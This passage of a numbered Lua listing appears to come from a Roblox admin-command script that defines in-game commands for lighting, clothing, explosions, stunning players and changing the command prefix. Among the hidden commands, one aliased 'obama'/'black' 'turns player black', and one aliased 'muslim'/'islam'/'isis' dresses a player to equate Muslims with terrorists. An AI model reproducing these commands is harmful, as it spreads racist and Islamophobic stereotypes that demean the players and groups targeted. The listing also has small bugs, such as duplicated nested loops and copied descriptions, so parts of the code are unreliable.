  7273. [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
  7274. local Players = STRING:Scan(Arguments[1], Speaker)
  7275. for _,Player in pairs(Players) do
  7276. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7277. local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
  7278. Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
  7279. end
  7280. end
  7281. end};
  7282.  
  7283. [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
  7284. local Players = STRING:Scan(Arguments[1], Speaker)
  7285. for _,Player in pairs(Players) do
  7286. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7287. local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
  7288. Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
  7289. end
  7290. end
  7291. end};
  7292.  
  7293. [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
  7294. local Players = STRING:Scan(Arguments[1], Speaker)
  7295. for _,Player in pairs(Players) do
  7296. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7297. local Lights = {}
  7298. for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
  7299. if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
  7300. table.insert(Lights, Obj)
  7301. end
  7302. end
  7303. for _,Light in pairs(Lights) do
  7304. coroutine.wrap(function()
  7305. for i = 1,20 do
  7306. Light.Brightness = Light.Brightness/5
  7307. wait()
  7308. end
  7309. Light:Destroy()
  7310. end)()
  7311. end
  7312. end
  7313. end
  7314. end};
  7315.  
  7316. [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
  7317. local Players = STRING:Scan(Arguments[1], Speaker)
  7318. for _,Player in pairs(Players) do
  7319. if Player.Character and Player:FindFirstChild("PlayerGui") then
  7320. local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  7321. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
  7322. local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
  7323. local Stop = false
  7324. coroutine.wrap(function()
  7325. repeat
  7326. Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  7327. wait(0.1)
  7328. until not SG or not SG.Parent
  7329. end)()
  7330. CORE:ExecuteResource("Drug", Player.Character)
  7331. end
  7332. end
  7333. end};
  7334.  
  7335. [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  7336. local Players = STRING:Scan(Arguments[1], Speaker)
  7337. for _,Player in pairs(Players) do
  7338. if Player:FindFirstChild("PlayerGui") then
  7339. local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  7340. wait() CORE:RestoreCamera(Player)
  7341. end
  7342. end
  7343. end};
  7344.  
  7345. [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7346. local AbuseMode = false
  7347. if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  7348. MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
  7349. if Speaker:FindFirstChild("Backpack") then
  7350. CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  7351. end
  7352. end)
  7353. end, Http = true};
  7354.  
  7355. [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7356. local Type = "all"
  7357. local Query = string.lower(Arguments[1])
  7358. local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
  7359. if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
  7360. Type = Arguments[1]
  7361. Query = Arguments[2]
  7362. end
  7363. MARKET:ShowSearch(Speaker, 11, Query, function(ID)
  7364. if Speaker.Character then
  7365. CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
  7366. end
  7367. end, MARKET:AccessoryToSubcategory(Type))
  7368. end, Http = true};
  7369.  
  7370. [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7371. MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
  7372. if Speaker.Character then
  7373. CORE:GivePackage(Speaker, ID)
  7374. end
  7375. end, 11)
  7376. end, Http = false};
  7377.  
  7378. [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7379. local Players = STRING:Scan(Arguments[1], Speaker)
  7380. for _,Player in pairs(Players) do
  7381. CORE:GivePackage(Player)
  7382. end
  7383. end};
  7384.  
  7385. [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7386. local Players = STRING:Scan(Arguments[1], Speaker)
  7387. for _,Player in pairs(Players) do
  7388. CORE:GivePackage(Player, Arguments[2])
  7389. end
  7390. end, Http = false};
  7391.  
  7392. [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
  7393. local Players = STRING:Scan(Arguments[1], Speaker)
  7394. for _,Player in pairs(Players) do
  7395. local Stats = Player:FindFirstChild("leaderstats")
  7396. if Stats ~= nil then
  7397. for _,Stat in pairs(Stats:GetChildren()) do
  7398. if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  7399. ypcall(function() Stat.Value = Arguments[3] end)
  7400. end
  7401. end
  7402. end
  7403. end
  7404. end};
  7405.  
  7406. [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7407. local ID = tonumber(Arguments[2])
  7408. local Players = STRING:Scan(Arguments[1], Speaker)
  7409. for _,Player in pairs(Players) do
  7410. for _,Player in pairs(Players) do
  7411. if Player.Character ~= nil then
  7412. local Obj = Player.Character:FindFirstChild("Shirt")
  7413. if Obj then
  7414. Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7415. else
  7416. Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7417. end
  7418. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  7419. end
  7420. end
  7421. end
  7422. end};
  7423.  
  7424. [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7425. local ID = tonumber(Arguments[2])
  7426. local Players = STRING:Scan(Arguments[1], Speaker)
  7427. for _,Player in pairs(Players) do
  7428. for _,Player in pairs(Players) do
  7429. if Player.Character ~= nil then
  7430. local Obj = Player.Character:FindFirstChild("Pants")
  7431. if Obj then
  7432. Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7433. else
  7434. Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7435. end
  7436. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  7437. end
  7438. end
  7439. end
  7440. end};
  7441.  
  7442. [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7443. local ID = tonumber(Arguments[2])
  7444. local Players = STRING:Scan(Arguments[1], Speaker)
  7445. for _,Player in pairs(Players) do
  7446. for _,Player in pairs(Players) do
  7447. if Player.Character ~= nil then
  7448. if Player.Character:FindFirstChild("Torso") then
  7449. local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
  7450. local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
  7451. if Obj1 then
  7452. Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7453. else
  7454. Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7455. end
  7456. if Obj2 then
  7457. Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7458. else
  7459. Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
  7460. end
  7461. coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
  7462. coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
  7463. end
  7464. end
  7465. end
  7466. end
  7467. end};
  7468.  
  7469. [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
  7470. local Players = STRING:Scan(Arguments[1], Speaker)
  7471. for _,Player in pairs(Players) do
  7472. CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
  7473. end
  7474. end};
  7475.  
  7476. [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
  7477. if CORE:InAdminGroup(Speaker) then
  7478. local Players = STRING:Scan(Arguments[1], Speaker)
  7479. for _,Player in pairs(Players) do
  7480. if Player:FindFirstChild("Backpack") then
  7481. local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
  7482. local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
  7483. local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
  7484. local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
  7485. CORE:ExecuteResource("CookieTool", Tool)
  7486. end
  7487. end
  7488. end
  7489. end};
  7490.  
  7491. [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
  7492. if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  7493. CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
  7494. end
  7495. end};
  7496.  
  7497. [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7498. if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  7499. local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
  7500. Model:MakeJoints()
  7501. for i = 1,math.random(10,20) do
  7502. Model.Name = Model.Name..string.char(math.random(97,122))
  7503. end
  7504. if Model:GetChildren()[1] then
  7505. table.insert(Objects, Model)
  7506. CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
  7507. end
  7508. end
  7509. end};
  7510.  
  7511. [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7512. local ID = tonumber(Arguments[2])
  7513. local Players = STRING:Scan(Arguments[1], Speaker)
  7514. for _,Player in pairs(Players) do
  7515. if Player.Character then
  7516. CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
  7517. end
  7518. end
  7519. end};
  7520.  
  7521. [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
  7522. local Players = STRING:Scan(Arguments[1], Speaker)
  7523. for _,Player in pairs(Players) do
  7524. if Player.Character then
  7525. local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
  7526. if StopAnim then StopAnim:Destroy() end
  7527. end
  7528. end
  7529. end};
  7530.  
  7531. [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
  7532. if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
  7533. Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
  7534. end
  7535. end};
  7536.  
  7537. [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  7538. if tonumber(Arguments[1]) then
  7539. Server.Lighting.Brightness = tonumber(Arguments[1])
  7540. end
  7541. end};
  7542.  
  7543. [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7544. local Players = STRING:Scan(Arguments[1], Speaker)
  7545. for _,Player in pairs(Players) do
  7546. GUI:CoreGui(Player, "PlayerList", true)
  7547. end
  7548. end};
  7549.  
  7550. [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7551. local Players = STRING:Scan(Arguments[1], Speaker)
  7552. for _,Player in pairs(Players) do
  7553. local Players = STRING:Scan(Arguments[1], Speaker)
  7554. GUI:CoreGui(Player, "PlayerList", false)
  7555. end
  7556. end};
  7557.  
  7558. [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
  7559. GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
  7560. end, Hidden = true};
  7561.  
  7562. [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
  7563. local Players = STRING:Scan(Arguments[1], Speaker)
  7564. for _,Player in pairs(Players) do
  7565. CORE:ChangeCharacter(Player, 1337, false, Speaker)
  7566. end
  7567. end, Hidden = true};
  7568.  
  7569. [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
  7570. local Players = STRING:Scan(Arguments[1], Speaker)
  7571. for _,Player in pairs(Players) do
  7572. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  7573. ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  7574. Player:ClearCharacterAppearance()
  7575. CORE:Insert(12436480, Player.Character, true)
  7576. Player.Character.Head.face.Texture = "rbxassetid://110287880"
  7577. Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
  7578. Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
  7579. end
  7580. end
  7581. end, Hidden = true};
  7582.  
  7583. [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
  7584. local Players = STRING:Scan(Arguments[1], Speaker)
  7585. for _,Player in pairs(Players) do
  7586. CORE:ChangeCharacter(Player, 0, false, Speaker)
  7587. end
  7588. end};
  7589.  
  7590. [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7591. ShouldFilter = false
  7592. end, Hidden = true};
  7593.  
  7594. [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7595. local Bet = Arguments[1]
  7596. if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
  7597. GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
  7598. elseif #Bet > 5 then
  7599. GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
  7600. else
  7601. local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
  7602. if Answer == "Yes" then
  7603. local OldBet = Settings.Bet
  7604. CORE:ChangeBet(Bet)
  7605. GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
  7606. end
  7607. end
  7608. end};
  7609.  
  7610. [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7611. local Prefix = Arguments[1]
  7612. if #Prefix > 5 then
  7613. GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
  7614. else
  7615. local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
  7616. if Answer == "Yes" then
  7617. local OldPrefix = Settings.Prefix
  7618. Settings.Prefix = Prefix
  7619. GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
  7620. end
  7621. end
  7622. end};
  7623.  
  7624. [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
  7625. GUI:CommandBar(Speaker)
  7626. end};
  7627.  
  7628. [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7629. GUI:CommandBar(Speaker)
  7630. PermCommandBars[Speaker.Name] = true
  7631. end};
  7632.  
  7633. [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7634. PermCommandBars[Speaker.Name] = nil
  7635. end};
  7636.  
  7637. [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7638. local Players = STRING:Scan(Arguments[1], Speaker)
  7639. for _,Player in pairs(Players) do
  7640. PermCommandBars[Player.Name] = nil
  7641. end
  7642. end};
  7643.  
  7644. [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
  7645. CORE:CreateFigure("Dummy", nil, true, Speaker)
  7646. end};
  7647.  
  7648. [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7649. CORE:CreateFigure(Arguments[1], nil, true, Speaker)
  7650. end};
  7651.  
  7652. [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7653. local Players = STRING:Scan(Arguments[1], Speaker)
  7654. for _,Player in pairs(Players) do
  7655. CORE:ClonePlayer(Player)
  7656. end
  7657. end};
  7658.  
  7659. [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
  7660. local Players = STRING:Scan(Arguments[1], Speaker)
  7661. for _,Player in pairs(Players) do
  7662. CORE:ClonePlayer(Player, Arguments[2])
  7663. end
  7664. end};
  7665.  
  7666. [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  7667. for _,Obj in pairs(Objects) do
  7668. if Obj then Obj:Destroy() end
  7669. end
  7670. for Name,Jail in pairs(Jails) do
  7671. if not game.Players:FindFirstChild(Name) then
  7672. Jail:Destroy()
  7673. Jails[Name] = nil
  7674. end
  7675. end
  7676. Objects = {}
  7677. end};
  7678.  
  7679. [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
  7680. for _,Obj in pairs(Server.Workspace:GetChildren()) do
  7681. if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
  7682. Obj:Destroy()
  7683. end
  7684. end
  7685. end};
  7686.  
  7687. [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7688. local Players = STRING:Scan(Arguments[1], Speaker)
  7689. for _,Player in pairs(Players) do
  7690. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7691. local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
  7692. end
  7693. end
  7694. end};
  7695.  
  7696. [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
  7697. local Players = STRING:Scan(Arguments[1], Speaker)
  7698. for _,Player in pairs(Players) do
  7699. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7700. local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
  7701. end
  7702. end
  7703. end};
  7704.  
  7705. [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7706. local Players = STRING:Scan(Arguments[1], Speaker)
  7707. for _,Player in pairs(Players) do
  7708. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7709. local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
  7710. end
  7711. end
  7712. end};
  7713.  
  7714. [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7715. local Players = STRING:Scan(Arguments[1], Speaker)
  7716. for _,Player in pairs(Players) do
  7717. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7718. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7719. if Get:IsA("Sparkles") then
  7720. Get:Destroy()
  7721. end
  7722. end
  7723. end
  7724. end
  7725. end};
  7726.  
  7727. [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  7728. local Players = STRING:Scan(Arguments[1], Speaker)
  7729. for _,Player in pairs(Players) do
  7730. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7731. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7732. if Get:IsA("Fire") then
  7733. Get:Destroy()
  7734. end
  7735. end
  7736. end
  7737. end
  7738. end};
  7739.  
  7740. [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  7741. local Players = STRING:Scan(Arguments[1], Speaker)
  7742. for _,Player in pairs(Players) do
  7743. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7744. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7745. if Get:IsA("Smoke") then
  7746. Get:Destroy()
  7747. end
  7748. end
  7749. end
  7750. end
  7751. end};
  7752.  
  7753. [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7754. local Players = STRING:Scan(Arguments[1], Speaker)
  7755. for _,Player in pairs(Players) do
  7756. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7757. SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  7758. local Boom = Instance.new("Explosion", Workspace)
  7759. Boom.Position = Player.Character.Torso.Position
  7760. end
  7761. end
  7762. end};
  7763.  
  7764. [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7765. local Players = STRING:Scan(Arguments[1], Speaker)
  7766. for _,Player in pairs(Players) do
  7767. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7768. coroutine.wrap(function() for i = 1,50 do
  7769. local Boom = Instance.new("Explosion", Workspace)
  7770. Boom.Position = Player.Character.Torso.Position
  7771. wait()
  7772. end end)()
  7773. coroutine.wrap(function() for i = 1,5 do
  7774. SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  7775. end end)()
  7776. end
  7777. end
  7778. end};
  7779.  
  7780. [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  7781. local Players = STRING:Scan(Arguments[1], Speaker)
  7782. for _,Player in pairs(Players) do
  7783. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7784. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  7785. Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
  7786. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
  7787. end
  7788. end
  7789. end};
  7790.  
  7791. [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  7792. local Players = STRING:Scan(Arguments[1], Speaker)
  7793. for _,Player in pairs(Players) do
  7794. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7795. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  7796. end
  7797. end
  7798. end};
  7799.  
  7800. [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
  7801. local Players = STRING:Scan(Arguments[1], Speaker)
  7802. for _,Player in pairs(Players) do
  7803. if Player.Character then
  7804. Player.Character.Parent = Server.Lighting
  7805. end
  7806. end
  7807. end};
  7808.  
  7809. [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7810. local Players = STRING:Scan(Arguments[1], Speaker)
  7811. for _,Player in pairs(Players) do
  7812. if Player.Character then
  7813. Player.Character.Parent = Server.Workspace
  7814. Player.Character:MakeJoints()
  7815. end
  7816. end
  7817. end};
  7818.  
  7819. [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
  7820. local Players = STRING:Scan(Arguments[1], Speaker)
  7821. for _,Player in pairs(Players) do
  7822. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7823. Player.Character.Humanoid.PlatformStand = true
  7824. end
  7825. end
  7826. end};
  7827.  
  7828. [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7829. local Players = STRING:Scan(Arguments[1], Speaker)
  7830. for _,Player in pairs(Players) do
  7831. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7832. Player.Character.Humanoid.PlatformStand = false
  7833. end
  7834. end
  7835. end};
  7836.  
  7837. [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
  7838. local Players = STRING:Scan(Arguments[1], Speaker)
  7839. for _,Player in pairs(Players) do
  7840. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7841. Player.Character.Humanoid.Jump = true
  7842. end
  7843. end
  7844. end};
  7845.  
  7846. [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
  7847. local Players = STRING:Scan(Arguments[1], Speaker)
  7848. for _,Player in pairs(Players) do
  7849. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7850. Player.Character.Humanoid.Sit = true
  7851. end
  7852. end
  7853. end};
  7854.  
  7855. [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
  7856. local Players = STRING:Scan(Arguments[1], Speaker)
  7857. for _,Player in pairs(Players) do
  7858. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7859. Player.Character.Humanoid.Sit = false
  7860. end
  7861. end
  7862. end};
  7863.  
  7864. [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
  7865. local Players = STRING:Scan(Arguments[1], Speaker)
